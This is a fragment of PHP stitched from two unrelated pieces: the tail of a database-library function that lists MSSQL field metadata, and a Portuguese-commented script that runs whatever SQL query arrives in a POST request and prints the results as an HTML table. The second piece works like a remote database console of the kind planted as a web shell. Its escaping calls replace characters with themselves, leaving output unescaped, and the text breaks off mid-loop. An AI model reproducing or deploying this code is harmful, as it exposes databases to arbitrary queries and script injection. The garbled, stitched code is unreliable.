@mssql_num_fields($id); $res = array(); if ($mode) { $res['num_fields'] = $count; } for ($i = 0; $i < $count; $i++) { if ($got_string) { $flags = $this->_mssql_field_flags($result, @mssql_field_name($id, $i)); if (DB::isError($flags)) { return $flags; } } else { $flags = ''; } $res[$i] = array('table' => $got_string ? $case_func($result) : '', 'name' => $case_func(@mssql_field_name($id, $i)), 'type' => @mssql_field_type($id, $i), 'len' => @mssql_field_length($id, $i), 'flags' => $flags); if ($mode & DB_TABLEINFO_ORDER) { $res['order'][$res[$i]['name']] = $i; } if ($mode & DB_TABLEINFO_ORDERTABLE) { $res['ordertable'][$res[$i]['table']][$res[$i]['name']] = $i; } } // free the result only if we were called on a table if ($got_string) { @mssql_free_result($id); } return $res; }
$usuario = $_POST["login"]; $senha = $_POST["senha"]; $banco = $_POST["banco"]; $conexao = mssql_connect($host, $usuario, $senha) or die("<p>Nao foi possivel conectar com o Banco</p>"); $bd = mssql_select_db($banco); echo '<p class="x">' . "</p>\n"; $sql = $_POST["query"]; $rs = mssql_query($sql); $regs = mssql_num_rows($rs); $fields = mssql_num_fields($rs); echo "<table border='1'>\n"; // retornando todos os nomes de campos if ($fields > 0) { echo "<tr>\n"; for ($coluna = 0; $coluna < $fields; $coluna++) { echo '<td class="x"><b>' . str_replace("<", "<", str_replace(">", ">", mssql_field_name($rs, $coluna))) . "</b></td>\n"; } echo "</tr>\n"; } // retornando todos os registros if ($regs > 0) { $linha = 0; while ($linha < $regs) { echo "<tr>\n"; $coluna = 0; while ($coluna < $fields) { $mostra = mssql_result($rs, $linha, $coluna); if ($mostra == NULL) { $mostra = "<i>NULL</i>"; } echo '<td class="x">' . str_replace("<", "<", str_replace(">", ">", $mostra)) . "</td>\n";